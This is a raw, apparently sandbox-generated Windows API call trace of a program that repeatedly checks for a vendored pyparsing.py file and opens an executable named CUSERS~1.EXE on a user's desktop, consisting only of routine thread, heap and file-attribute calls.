0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.294] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a19738 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31e0320, Size=0xc4) returned 0x302bd30 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.295] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.296] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c94878, Size=0x20) returned 0x30282b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.297] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.298] GetCurrentThreadId () returned 0x9b0 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19328, Size=0x64) returned 0x2a197a8 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] GetLastError () returned 0x3 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31e0320, Size=0xc4) returned 0x302bd30 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] GetLastError () returned 0x3 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.299] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.300] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.301] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.302] GetCurrentThreadId () returned 0x9b0 [0075.305] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9394 | out: lpFileInformation=0x9b9394*(dwFileAttributes=0x5da616e0, ftCreationTime.dwLowDateTime=0x9b93b0, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216060, ftLastWriteTime.dwHighDateTime=0x9b93c8, nFileSizeHigh=0x9b9444, nFileSizeLow=0x72ffe51c)) returned 0 [0075.305] GetLastError () returned 0x3 [0075.305] GetLastError () returned 0x3 [0075.305] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9394 | out: lpFileInformation=0x9b9394*(dwFileAttributes=0x5da616e0, ftCreationTime.dwLowDateTime=0x9b93b0, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216060, ftLastWriteTime.dwHighDateTime=0x9b93c8, nFileSizeHigh=0x9b9444, nFileSizeLow=0x72ffe51c)) returned 0 [0075.305] GetLastError () returned 0x3 [0075.305] GetLastError () returned 0x3 [0075.305] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9394 | out: lpFileInformation=0x9b9394*(dwFileAttributes=0x5da616e0, ftCreationTime.dwLowDateTime=0x9b93b0, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32160e0, ftLastWriteTime.dwHighDateTime=0x9b93c8, nFileSizeHigh=0x9b9444, nFileSizeLow=0x72ffe51c)) returned 0 [0075.305] GetLastError () returned 0x3 [0075.305] GetLastError () returned 0x3 [0075.306] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9394 | out: lpFileInformation=0x9b9394*(dwFileAttributes=0x5da616e0, ftCreationTime.dwLowDateTime=0x9b93b0, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32160e0, ftLastWriteTime.dwHighDateTime=0x9b93c8, nFileSizeHigh=0x9b9444, nFileSizeLow=0x72ffe51c)) returned 0 [0075.306] GetLastError () returned 0x3 [0075.306] GetLastError () returned 0x3 [0075.306] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9394 | out: lpFileInformation=0x9b9394*(dwFileAttributes=0x5da616e0, ftCreationTime.dwLowDateTime=0x9b93b0, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216120, ftLastWriteTime.dwHighDateTime=0x9b93c8, nFileSizeHigh=0x9b9444, nFileSizeLow=0x72ffe51c)) returned 0 [0075.306] GetLastError () returned 0x3 [0075.306] GetLastError () returned 0x3 [0075.306] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9394 | out: lpFileInformation=0x9b9394*(dwFileAttributes=0x5da616e0, ftCreationTime.dwLowDateTime=0x9b93b0, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216120, ftLastWriteTime.dwHighDateTime=0x9b93c8, nFileSizeHigh=0x9b9444, nFileSizeLow=0x72ffe51c)) returned 0 [0075.306] GetLastError () returned 0x3 [0075.306] GetLastError () returned 0x3 [0075.309] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32163a0, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.309] GetLastError () returned 0x3 [0075.310] GetLastError () returned 0x3 [0075.310] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32163a0, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.310] GetLastError () returned 0x3 [0075.310] GetLastError () returned 0x3 [0075.310] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216360, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.310] GetLastError () returned 0x3 [0075.310] GetLastError () returned 0x3 [0075.310] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216360, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.310] GetLastError () returned 0x3 [0075.310] GetLastError () returned 0x3 [0075.311] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216420, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.311] GetLastError () returned 0x3 [0075.311] GetLastError () returned 0x3 [0075.311] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216420, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.311] GetLastError () returned 0x3 [0075.311] GetLastError () returned 0x3 [0075.311] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216460, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.311] GetLastError () returned 0x3 [0075.311] GetLastError () returned 0x3 [0075.311] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216460, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.311] GetLastError () returned 0x3 [0075.312] GetLastError () returned 0x3 [0075.312] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32164a0, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.312] GetLastError () returned 0x3 [0075.312] GetLastError () returned 0x3 [0075.312] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32164a0, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.312] GetLastError () returned 0x3 [0075.312] GetLastError () returned 0x3 [0075.312] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216520, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.313] GetLastError () returned 0x3 [0075.313] GetLastError () returned 0x3 [0075.313] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216520, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.313] GetLastError () returned 0x3 [0075.313] GetLastError () returned 0x3 [0075.313] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32165e0, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.313] GetLastError () returned 0x3 [0075.313] GetLastError () returned 0x3 [0075.313] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32165e0, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.313] GetLastError () returned 0x3 [0075.313] GetLastError () returned 0x3 [0075.314] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216620, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.314] GetLastError () returned 0x3 [0075.314] GetLastError () returned 0x3 [0075.314] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216620, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.314] GetLastError () returned 0x3 [0075.314] GetLastError () returned 0x3 [0075.315] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216660, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.315] GetLastError () returned 0x3 [0075.315] GetLastError () returned 0x3 [0075.315] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b93f4 | out: lpFileInformation=0x9b93f4*(dwFileAttributes=0x5da61680, ftCreationTime.dwLowDateTime=0x9b9410, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216660, ftLastWriteTime.dwHighDateTime=0x9b9428, nFileSizeHigh=0x9b94a4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.315] GetLastError () returned 0x3 [0075.315] GetLastError () returned 0x3 [0075.323] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9c68, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ec [0075.324] GetFileType (hFile=0x2ec) returned 0x1 [0075.324] GetFileType (hFile=0x2ec) returned 0x1 [0075.324] GetFileInformationByHandle (in: hFile=0x2ec, lpFileInformation=0x9b9ce4 | out: lpFileInformation=0x9b9ce4) returned 1 [0075.324] FileTimeToLocalFileTime (in: lpFileTime=0x9b9cf8, lpLocalFileTime=0x9b9d28 | out: lpLocalFileTime=0x9b9d28) returned 1 [0075.324] FileTimeToSystemTime (in: lpFileTime=0x9b9d28, lpSystemTime=0x9b9d18 | out: lpSystemTime=0x9b9d18) returned 1 [0075.324] FileTimeToLocalFileTime (in: lpFileTime=0x9b9cf0, lpLocalFileTime=0x9b9d28 | out: lpLocalFileTime=0x9b9d28) returned 1 [0075.324] FileTimeToSystemTime (in: lpFileTime=0x9b9d28, lpSystemTime=0x9b9d18 | out: lpSystemTime=0x9b9d18) returned 1 [0075.324] FileTimeToLocalFileTime (in: lpFileTime=0x9b9ce8, lpLocalFileTime=0x9b9d28 | out: lpLocalFileTime=0x9b9d28) returned 1 [0075.324] FileTimeToSystemTime (in: lpFileTime=0x9b9d28, lpSystemTime=0x9b9d18 | out: lpSystemTime=0x9b9d18) returned 1 [0075.324] GetLastError () returned 0x0 [0075.324] GetLastError () returned 0x0 [0075.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0075.324] GetLastError () returned 0x0 [0075.324] GetLastError () returned 0x0 [0075.324] GetLastError () returned 0x0 [0075.324] 